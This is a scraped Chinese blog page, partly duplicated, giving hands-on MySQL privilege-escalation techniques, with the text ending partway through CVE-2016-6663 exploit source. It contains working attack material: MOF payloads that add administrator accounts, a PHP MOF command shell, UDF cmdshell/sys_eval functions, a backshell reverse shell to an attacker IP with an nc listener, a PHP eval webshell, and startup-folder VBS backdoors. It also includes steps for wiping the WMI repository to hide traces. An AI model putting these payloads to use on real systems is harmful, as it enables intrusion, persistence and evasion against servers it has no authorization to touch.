精华内容
下载资源
问答
  • 2021-03-16 00:28:52

    最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

    一、利用mof提权

    前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:

    Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

    方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

    方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

    第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

    具体到mysql提权中,我们又该怎么利用呢?

    1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

    #pragma namespace("\\\\.\\root\\subscription")

    instance of __EventFilter as $EventFilter

    {

    EventNamespace = "Root\\Cimv2";

    Name = "filtP2";

    Query = "Select * From __InstanceModificationEvent "

    "Where TargetInstance Isa \"Win32_LocalTime\" "

    "And TargetInstance.Second = 5";

    QueryLanguage = "WQL";

    };

    instance of ActiveScriptEventConsumer as $Consumer

    {

    Name = "consPCSV2";

    ScriptingEngine = "JScript";

    ScriptText =

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";

    };

    instance of __FilterToConsumerBinding

    {

    Consumer = $Consumer;

    Filter = $EventFilter;

    };

    其中的第18行的命令,上传前请自己更改。

    2、执行load_file及into dumpfile把文件导出到正确的位置即可。

    1

    select load_file('C:/wmpub/nullevt.mof')into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof'

    执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

    mof提权带回显带清楚命令版本.php

    $path="c:/windows/system32/canimei";

    session_start();if(!empty($_POST['submit'])){setcookie("connect");

    setcookie("connect[host]",$_POST['host']);

    setcookie("connect[user]",$_POST['user']);

    setcookie("connect[pass]",$_POST['pass']);

    setcookie("connect[dbname]",$_POST['dbname']);

    echo "";}

    if(empty($_GET["action"])){?>

    Win MOF Shell

    Host:

    User:

    Pass:

    DB:

    exit;}

    if ($_GET[action]=='connect'){$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('

    '.mysql_error().'
    ');

    echo "

    ";

    echo "Cmd:";

    echo "";

    echo "
    ";

    echo "
    ";

    echo "";

    echo "

    ";

    echo "

    ";

    echo "";

    echo "";

    echo "

    ";

    if (isset($_POST['cmd'])){

    $strCmd=$_POST['cmd'];

    $cmdshell='cmd /c '.$strCmd.'>'.$path;

    $mofname="c:/windows/system32/wbem/mof/system.mof";

    $payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")

    instance of __EventFilter as \$EventFilter

    {

    EventNamespace = \"Root\\\\\\\\Cimv2\";

    Name = \"filtP2\";

    Query = \"Select * From __InstanceModificationEvent \"

    \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"

    \"And TargetInstance.Second = 5\";

    QueryLanguage = \"WQL\";};

    instanceof ActiveScriptEventConsumer as\$Consumer{Name = \"consPCSV2\";

    ScriptingEngine = \"JScript\";

    ScriptText =

    \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";};

    instanceof__FilterToConsumerBinding{Consumer = \$Consumer;

    Filter = \$EventFilter;};";

    mysql_select_db($_COOKIE["connect"]["dbname"],$conn);

    $sql1="select '$payload' into dumpfile '$mofname';";if(mysql_query($sql1))

    echo "


    Execute Successful!
    Please click the read button to check the result!!
    If the result is not correct,try read again later
    "; elsedie(mysql_error());

    mysql_close($conn);

    }if(isset($_POST['flag'])){$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"]) or die('

    '.mysql_error().'
    ');

    $sql2="select load_file(\"".$path."\");";

    $result2=mysql_query($sql2);

    $num=mysql_num_rows($result2);

    while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {

    echo "


    ";

    echo '

    '. $row[0].'
    ';}mysql_close($conn);

    }

    }

    ?>

    二、利用UDF提权

    udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

    1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

    连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。

    2、创建相应的函数并执行命令,具体如下:

    1

    create function cmdshellreturns string soname'udf.dll';

    2

    select cmdshell('net user waitalone waitalone.cn /add');

    3

    select cmdshell('net localgroup administrators waitalone /add');

    4

    drop function cmdshell; 删除函数

    5

    delete from mysql.funcwhere name='cmdshell'  删除函数

    3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

    1

    select @@basedir;

    2

    //查找到mysql的目录

    3

    select 'It is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';

    4

    //利用NTFS ADS创建lib目录

    5

    select 'It is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

    6

    //利用NTFS ADS创建plugin目录

    执行成功以后再进行导出即可。

    三、反弹端口连接提权

    假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

    1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

    1

    mysql.exe -h 172.16.10.11 -uroot -p

    2

    Enter password:

    3

    mysql> \. c:\mysql.txt

    4

    mysql>select backshell("YourIP",2010);

    2、本地监听你反弹的端口

    nc.exe -vv -l -p 2010

    成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

    参考文章:

    最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了。关于mysql提权的方法也就那么几种,希望也能帮到各位小伙伴们。

    一、利用mof提权

    前段时间国外Kingcope大牛发布了mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),剑心牛对MOF利用进行了分析,如下:

    Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

    方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

    方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

    第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。

    具体到mysql提权中,我们又该怎么利用呢?

    1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

    01

    #pragmanamespace("\\\\.\\root\\subscription")

    02

    03

    instance of __EventFilteras $EventFilter

    04

    {

    05

    EventNamespace ="Root\\Cimv2";

    06

    Name  ="filtP2";

    07

    Query ="Select * From __InstanceModificationEvent "

    08

    "Where TargetInstance Isa \"Win32_LocalTime\" "

    09

    "And TargetInstance.Second = 5";

    10

    QueryLanguage ="WQL";

    11

    };

    12

    13

    instance of ActiveScriptEventConsumeras $Consumer

    14

    {

    15

    Name ="consPCSV2";

    16

    ScriptingEngine ="JScript";

    17

    ScriptText =

    18

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";

    19

    };

    20

    21

    instance of __FilterToConsumerBinding

    22

    {

    23

    Consumer   =$Consumer;

    24

    Filter =$EventFilter;

    25

    };

    其中的第18行的命令,上传前请自己更改。

    2、执行load_file及into dumpfile把文件导出到正确的位置即可。

    1

    select load_file('C:/wmpub/nullevt.mof')into dumpfile'c:/windows/system32/wbem/mof/nullevt.mof'

    执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。

    二、利用UDF提权

    udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。

    1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。

    连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。

    2、创建相应的函数并执行命令,具体如下:

    1

    create function cmdshellreturns string soname'udf.dll';

    2

    select cmdshell('net user waitalone waitalone.cn /add');

    3

    select cmdshell('net localgroup administrators waitalone /add');

    4

    drop function cmdshell; 删除函数

    5

    delete from mysql.funcwhere name='cmdshell'  删除函数

    3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

    1

    select @@basedir;

    2

    //查找到mysql的目录

    3

    select 'It is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';

    4

    //利用NTFS ADS创建lib目录

    5

    select 'It is dll' into dumpfile'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

    6

    //利用NTFS ADS创建plugin目录

    执行成功以后再进行导出即可。

    三、反弹端口连接提权

    假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

    1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

    1

    mysql.exe -h 172.16.10.11 -uroot -p

    2

    Enter password:

    3

    mysql> \. c:\mysql.txt

    4

    mysql>select backshell("YourIP",2010);

    2、本地监听你反弹的端口

    nc.exe -vv -l -p 2010

    成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。

    参考文章:

    更多相关内容
  • database:mysql   简述: 通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。   要求:  在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况...
  • mysql提权工具

    2018-04-24 11:12:59
    mysql自动提权工具,。。。。。。。。。。。。。。。。。。。。。。。
  • MYSQL提权

    千次阅读 2022-03-19 14:38:58
    MYSQL udf 提权 一.获取网站权限 1.本地搭建pikachu靶场测试,文件上传漏洞获取webshell (1)简单的前端检测文件类型 (2)直接审查前端源代码,给它删了 (3)上传php后门代码 (4)冰蝎连接后门...

    MYSQL udf 提权

    一.获取网站权限

    1.本地搭建pikachu靶场测试,文件上传漏洞获取webshell

    (1)简单的前端检测文件类型

    (2)直接审查前端源代码,给它删了

     

    (3)上传php后门代码

    (4)冰蝎连接后门获取webshell

    二.UDF提权

    1.UDF提权知识点:

    (1)读取网站数据库配置文件(了解其命名规则及查找技巧)

    sql data inc config conn database common include等

    (2)读取数据库存储或备份文件(了解其数据库存储格式及对应内容)

    @@basedir/data/数据库名/表名.myd

    (3)利用脚本暴力猜解(了解数据库是否支持外联及如何开启外联)。

    (4)远程本地暴力猜解,服务器本地暴力猜解

    (5)利用自定义执行函数导出dl文件进行命令执行

    select version()//查看mysql版本信息

    select @@basedir//查看MySQL安装目录

    (6)手工创建plugin目录或利用NTFS流创建

    select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION";

    1.mysql<5.1导出目录c:/windows或 system32 2.mysql=>5.1导出安装目录/lib/plugin/

    2.UDF提权步骤

    (1)上传大马,查看mysql版本信息,读取配置文件root账户密码

     

     

    (2)查看secure_file_priv值,并且对其进行更改(my.ini目录下)

    show global variables like 'secure%';
    当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当secure_file_priv的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当secure_file_priv的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

    原文链接:MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权

     

     

    (3)查看系统框架以及plugin目录

    show variables like '%compile%';             #查看主机版本及架构 

     show variables like 'plugin%';               #查看 plugin 目录

     

    (4)使用大马导出dll文件提权(烂尾。。。。尝试多种方法无法解决)

    原文链接:MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权

    MYSQL 启动项提权

    1.开启MySQL外连才能使用MSF

    GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'rootroot' WITH GRANT OPTION;//开启外连,注意第一个'root'为MySQL账户'rootroot'为密码
    flush privileges;//刷新修改 

    2.使用MSF在启动项目录加上后门

    (1)在MSF中找到该模块载入并且查看参数

     

    (2)配置参数(数据库账号密码,IP)

     

    (3)上传成功开搞,提权成功

     

     

     

    MySQL反弹提权

    1.Kali上开启nc监听5577端口

     

    2.从Kali上访问大马开始连接

     

    3.反弹成功

     

     

    展开全文
  • mysql提权总结

    2021-09-18 00:57:30
    前言前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到roo...

    前言

    前两天参加了省赛的内网渗透,在拿到webshell后发现是一个站库分离,通过信息搜集得到了数据库的账号密码,但是是一个www-data权限,执行不了代理的命令,这时候就需要提权到root权限才能够执行命令,最后还没有通过udf提权,而是通过/tmp这个目录能够修改权限,改为777权限后使用的代理。因为linux打得比较少,我们队在这个地方卡了很久,导致只打到了第一层网络,第二层内网就没有时间去打,所以补一下关于mysql的提权知识。


    UDF提权


    何为UDF

    UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

    使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,有时候我们需要对表中的数据进行一些处理而内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。其实除了UDF外,使用者还可以将函数添加为MySQL的固有(内建)函数,固有函数被编译进mysqld服务器中,称为永久可用的,不过这种方式较添加UDF复杂,升级维护都较为麻烦,这里我们不做讨论。无论你使用哪种方法去添加新函数,它们都可以被SQL声明调用,就像 ABS()或SUM()这样的固有函数一样。

    UDF利用条件

    1.知道数据库的用户和密码;2.mysql可以远程登录;3.mysql有写入文件的权限,即secure_file_priv的值为空。

    关于第一点就不用多说了,可以通过拿到webshell之后翻阅文件得到,对于不同情况下有不同得获取方式,这里不再赘述;主要提一下第二三点。

    在默认情况下,mysql只允许本地登录,我们知道可以通过navicat去连接数据库(在知道帐号密码的情况下),但是如果只允许本地登录的情况下,即使知道账号密码的情况下也不能够连接上mysql数据库,那么在这种情况下就只有通过拿到本机的高权限rdp登陆远程桌面后连接。

    远程连接对应的设置在mysql目录下的/etc/mysql/my.conf文件,对应的设置为bind-address = 127.0.0.1这一行,这是默认情况下的设置,如果我们要允许在任何主机上面都能够远程登录mysql的话,就只要把bind-address改成0.0.0.0即可,即bind-address = 0.0.0.0

    光更改配置文件还不够,还需要给远程登陆的用户赋予权限,首先新建一个admin/123456用户,使用%来允许任意ip登录mysql,这样我们就能够通过navicat使用admin/123456用户远程连接到数据库

    grant all on *.* to admin@'%' identified by '123456' with grant option;
    flush privileges;

    关于第三点的secure_file_priv参数,这里有三个值,分别为NULL/tmp、空,NULL顾名思义即不允许导入或导出,那么在这种情况下就不能使用sql语句向数据库内写入任何语句,/tmp的意思是只能在/tmp目录下写入文件,这种情况下就需要考虑写入文件到文件夹后能否在网页上访问连接到这个目录,如果这个值为空,那么就可以通过构造sql语句向mysql数据库下的任何目录写入文件。

    这里还有一个需要了解的点就是在mysql5.5版本之前secure_file_priv这个值是默认为空的,那么我们拿到的webshell如果对应的mysql数据库版本在5.5以下的话操作起来就比较方便,在mysql5.5版本之后secure_file_priv这个值是默认为NULL的,即不能够往数据库内写入文件。

    手动提权

    首先这里现在官网下载一个mysql,这里我下载的是5.5.19,注意这里需要下msi文件,不要下zip文件

    22e1d3b58407d1928c4b3eaf38ec87a0.png

    下载好后进行安装即可

    5f1133fe56214b9eb94024805d31f0ba.png

    这里使用utf-8字符集

    b73ad13499a4db362b87fa90af9bbdbf.png

    安装好后使用mysql -u root -p进入mysql

    ac1afcdd54d0ddb2a7dc187b536b5287.png

    因为我是5.5.19版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。这里说到了动态链接库,动态链接库就是实现共享函数库概念的一种方式,在windows环境下后缀名为.dll,在linnux环境下后缀名为.so

    那么这里利用.dll.so文件在哪里去找呢?这两个文件在sqlmap和msf里面都有内置

    首先在sqlmap里面找一下,在sqlmap里面对应的目录地址为udf/mysql,这里进入目录后可以看到sqlmap已经帮我们分好类了

    a1e22fcc301152a498d5d26fe0ad788b.png

    不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。这里如果后缀名为.so_dll_的话,就需要解码,如果后缀名为.so.dll的话就不需要解码即可直接使用。这里sqlmap也自带了解码的py脚本,在/extra/cloak目录下,使用cloak.py解密即可。

    1813350fd3feab5dae15c85f6825d3df.png

    命令如下(这里使用到64位的dll,其他版本改后缀名即可)

    python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

    672ddb419b999be72fbca755dc65451a.png

    ca8e93b174be566f7d4d809537a48f90.png

    这里好像因为我本机的环境配置的问题这里py3没有执行成功,这里换到kali环境里面使用py2解密

    python2 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll

    544653c129653e77c19cc322ab702987.png

    另外可以用msf提供的动态链接库文件,这里注意msf里面的动态链接库是已经解密好了的可以直接使用,msf下的动态链接库目录如下

    /usr/share/metasploit-framework/data/exploits/mysql/

    13d879da915307629e8d88cec9eef65e.png

    直接拿出来使用010 editor进行查看是包含了一些函数

    7ba84bfce6a83f54f7ce4393a96146d0.png

    解密过程完成之后就需要把解密得到的UDF动态链接库文件放到mysql的插件目录下,这里使用如下命令查询插件目录的位置

    show variables like "%plugin%";

    这里可以看到我的插件目录就是C:\Program Files\MySQL\MySQL Server 5.5\lib/plugin

    4f34616add687075554fd471620ebe38.png

    使用select @@basedir查看一下MySQL安装的位置

    d118dbb8c0551a05c7378c3fac44f592.png

    这里因为只单独安装了一个MySQL,没有安装其他的web,所以为了更好的还原环境,这里使用phpstudy来搭建环境,这里假设我已经拿到了一个目标机器的webshell,但是这里权限很低,使用到udf提权

    首先来到MySQL/lib文件夹下,这里可以看到是没有plugin这个文件夹的,所以这里需要我们先创建一个文件夹

    bb3463cccc5c8914bd01ddca65b5bb85.png

    创建plugin文件夹

    2b70ea58385e5aaa3773e7b8de34fb11.png

    然后把解密过后的lib_mysqludf_sys_64.dll放到plugin文件夹下

    e1f6edc194b5add859b2d20596157365.png

    这里为了方便我把dll改名为udf.dll,但是这里报错ERROR 1126,这里我百度过后发现这个dll并不是跟系统位数有关的,而是跟mysql版本有关系,而且phpstudy自带的mysql版本需要用32位的dll才能够操作

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

    7f77f62643f02c9a6c0c04408d5daf29.png

    这里我上传一个32位的dll到plugin文件夹内

    730d48446ebfe3ce81210325b2023662.png

    再使用命令创建自定义函数即可

    d1e062b7211bc7080dae989f0d614c15.png

    然后使用命令查看是否新增了sys_eval函数

    select * from mysql.func;

    ad49b450603a5308a82e0086fa236b42.png

    可以看到这里创建成功那么就可以执行系统命令,到这里就是一个高权限了,而且如果有disable_functions把函数禁用了,用udf提权也是能够操作的

    da6a8bddebc19194b3bf3f217385349f.png

    拓展:UDF shell

    允许外连

    这里可以使用写好的大马udf.php来自动提权,我们测试一下

    首先把php上传到可以网页访问的位置,这里我直接连接报错了应该是因为没有设置可以外连,只允许本地连接,首先实验一下允许外联的情况

    e33864a6c4dcb77b8dd5f77df4847e9e.png

    这里进入my.ini文件设置bind-address = 0.0.0.0

    7721dc581f5520b8fb5ad17d49993048.png

    然后创建一个admin/123456用户允许外连

    8df139d266947b71e15e2c26b0af758d.png

    再次登录即可登录成功

    5903df95e39a04bc979e4a8cfc5fe2db.png

    这里首先dump udf.dllplugin文件夹下,这里可以看到dump dll成功

    c73273f6b3578cf7f3f05484f5b8c3c7.png

    然后创建函数,再执行命令即可

    不允许外连

    这里我们再把bind-address = 0.0.0.0这行注释掉之后进行试验,因为不允许外连,那么只有本地连接数据库,这时候很容易想到正向连接我们代理进去连接数据库。这里使用reg、ew都可以,但是这里因为是mysql的原因,使用navicat自带的tunnel脚本会更加方便。

    首先测试一下,是不允许外连的(这里图搞错了)

    b0e3d65e9a133bf0b1bef660223c7edf.png

    这里上传nutunnel_mysql.php到靶机上访问,这里看到已经连接成功了

    8c3b4239ceb7c5b29b22ab41e5e9512c.png

    然后连接的时候设置HTTP隧道

    1f3ddb1daf13d24f2adb295a491770e8.png

    即可连接到mysql,然后提权操作同前

    01b8c053ef094ddefc28b8fbc09f8dde.png

    MOF提权

    mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

    利用条件

    1. 只使用于windows系统,一般低版本系统才可以用,比如xpserver2003

    2. C:\Windows\System32\wbem\MOF目录有读写权限

    3. 可以找到一个可写目录,写入mof文件

    手动提权

    这里我没有安装2003的虚拟机,所以就不放图了,写一下提权的步骤

    生成testmod.mod文件并上传到靶机的可写目录

    #pragma namespace("\\\\.\\root\\subscription")
    
    
    instance of __EventFilter as $EventFilter
    {
      EventNamespace = "Root\\Cimv2";
      Name = "filtP2";
      Query = "Select * From __InstanceModificationEvent "
              "Where TargetInstance Isa \"Win32_LocalTime\" "
              "And TargetInstance.Second = 5";
      QueryLanguage = "WQL";
    };
    
    
    instance of ActiveScriptEventConsumer as $Consumer
    {
      Name = "consPCSV2";
      ScriptingEngine = "JScript";
      ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test test123 /add\")\nWSH.run(\"net.exe localgroup administrators test /add\")";
    };
    
    
    instance of __FilterToConsumerBinding
    {
      Consumer   = $Consumer;
      Filter = $EventFilter;
    };

    进入mysql命令行执行导入命令,导入完成过后系统会自动运行

    select load_file("nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

    使用net user命令即可发现已经加入了管理员组

    msf提权

    msf内置了MOF提权模块,相比于手动提权的好处就是msf的MOF模块有自动清理痕迹的功能

    use exploit/windows/mysql/mysql_mof
    set payload windows/meterpreter/reverse_tcp
    set rhosts 192.168.10.17
    set username root
    set password root
    run

    拓展

    因为每隔几分钟时间又会重新执行添加用户的命令,所以想要清理痕迹得先暂时关闭 winmgmt 服务再删除相关 mof 文件,这个时候再删除用户才会有效果

    # 停止 winmgmt 服务
    net stop winmgmt
    
    
    # 删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    
    
    # 手动删除 mof 文件
    del C:\Windows\system32\wbem\mof\good\test.mof /F /S
    
    
    # 删除创建的用户
    net user hacker /delete
    
    
    # 重新启动服务
    net start winmgmt


    启动项提权

    windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行。

    这个地方既然碰到了启动项提权,就总结一下不限于mysql的启动项提权方法。

    启动项路径

    在windows2003的系统下,启动项路径如下:

    C:\Documents and Settings\Administrator\「开始」菜单\程序\启动
    C:\Documents and Settings\All Users\「开始」菜单\程序\启动

    在windows2008的系统下,启动项路径如下:

    C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

    自动化脚本

    我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。

    这里使用test.vbs添加用户密码,上传到启动目录重启的时候即可自动添加账号密码

    set wshshell=createobject("wscript.shell")
    a=wshshell.run("cmd.exe /c net user test test123 /add",0)
    b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0)

    使用sql语句

    连接到mysql之后创建一个表写入sql语句

    use mysql;
    create table test(cmd text);
    insert into a values(“set wshshell=createobject(“”wscript.shell””)”);
    insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”);
    insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”);
    select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

    5df2e496dd4900d28c9d26573d79063e.png

    重启之后即可提权

    c79c0e5ef83ee424167a6229c6e7f94f.png


    CVE-2016-6663&CVE-2016-6664

    CVE-2016-6663是竞争条件(race condition)漏洞,它能够让一个低权限账号(拥有CREATE/INSERT/SELECT权限)提升权限并且以系统用户身份执行任意代码。也就是说,我们可以通过他得到一整个mysql的权限。

    CVE-2016-6664是root权限提升漏洞,这个漏洞可以让拥有MySQL系统用户权限的攻击者提升权限至root,以便进一步攻击整个系统。

    导致这个问题的原因其实是因为MySQL对错误日志以及其他文件的处理不够安全,这些文件可以被替换成任意的系统文件,从而被利用来获取root权限。可以看到,两个cve分别是用来将低权限的www-data权限提升为mysql权限,然后再将mysql提升为root权限。


    利用条件

    CVE-2016-6663

    • 1.已经getshell,获得www-data权限

    • 2.获取到一个拥有create,drop,insert,select权限的数据库账号,密码

    • 3.提权过程需要在交互式的shell环境中运行,所以需要反弹shell再提权

    • 4.Mysql<5.5.51或<5.6.32或<5.7.14

    CVE-2016-6664

    • 1.目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式(通过cat /etc/mysql/conf.d/mysqld_safe_syslog.cnf查看没有包含“syslog”字样即可)

    • 2.需要在mysql权限下运行才能利用

    • 3.Mysql<5.5.51或<5.6.32或<5.7.14

    环境搭建

    这里使用到tutum/lamp的镜像环境,运行docker并连接

    docker pull tutum/lamp
    docker run -d -P tutum/lamp
    docker ps
    docker exec -it b9 /bin/bash

    b7ee073740ef6291c2efa8a1bfd6bd8f.png

    安装apt,wget,gcc,libmysqlclient-dev

    apt update
    apt install -y wget gcc libmysqlclient-dev

    b68da5c35f9db01c4683cd00051a5db0.png

    写入一个一句话木马方便后续连接,这里注意,linux环境下用echo命令写入木马需要加' '进行转义,否则会报错

    cd /var/html
    echo '<?php @eval($_POST['hacker']); ?>' > shell.php

    2a0891c13d6e31848ccfcd65246aac65.png

    给web路径赋予777权限

    chmod -R 777 /var/www/html

    进入mysql环境添加一个对test库有create,drop,insert,select权限的test用户,密码为123456

    209b2d3b031ab6e652a6f6a2eacaa72c.png

    将apache2和mysql服务重启并重新保存容器,将新容器的80端口映射到8080端口,3306映射到3306端口的方式运行容器。

    service restart apache2
    service restart mysql
    
    
    ocker commit c0ae81326db0 test/lamp
    docker run -d -p 8080:80 -p 3306:3306 test/lamp

    01d4816580c9636a22b6a9ddb5d25a15.png

    访问一下8080端口若出现如下界面则环境搭建成功

    c7a3b983494d299f5a7d552b2c60df5f.png

    CVE-2016-6663

    cve-2016-6663即将www-data权限提升为mysql权限,首先连接我们之前写入的webshell

    b9f781ff3b7e075609f51615a84ec779.png

    首先看一下权限跟目录的可执行状况,可以看到html目录下是777

    84313e25dd41c742fb0347f49cbe2a3a.png

    然后写入exp,命名为mysql-privesc-race.c,exp如下所示

    #include <fcntl.h>
    #include <grp.h>
    #include <mysql.h>
    #include <pwd.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/inotify.h>
    #include <sys/stat.h>
    #include <sys/types.h>
    #include <sys/wait.h>
    #include <time.h>
    #include <unistd.h>
    
    
    
    
    #define EXP_PATH         "/tmp/mysql_privesc_exploit"
    #define EXP_DIRN         "mysql_privesc_exploit"
    #define MYSQL_TAB_FILE   EXP_PATH "/exploit_table.MYD"
    #define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"
    
    
    #define SUID_SHELL   EXP_PATH "/mysql_suid_shell.MYD"
    
    
    #define MAX_DELAY 1000   // can be used in the race to adjust the timing if necessary
    
    
    MYSQL *conn;  // DB handles
    MYSQL_RES *res;
    MYSQL_ROW row;
    
    
    unsigned long cnt;
    
    
    
    
    void intro() {
    
    
    printf(
           "\033[94m\n"
           "MySQL/Percona/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
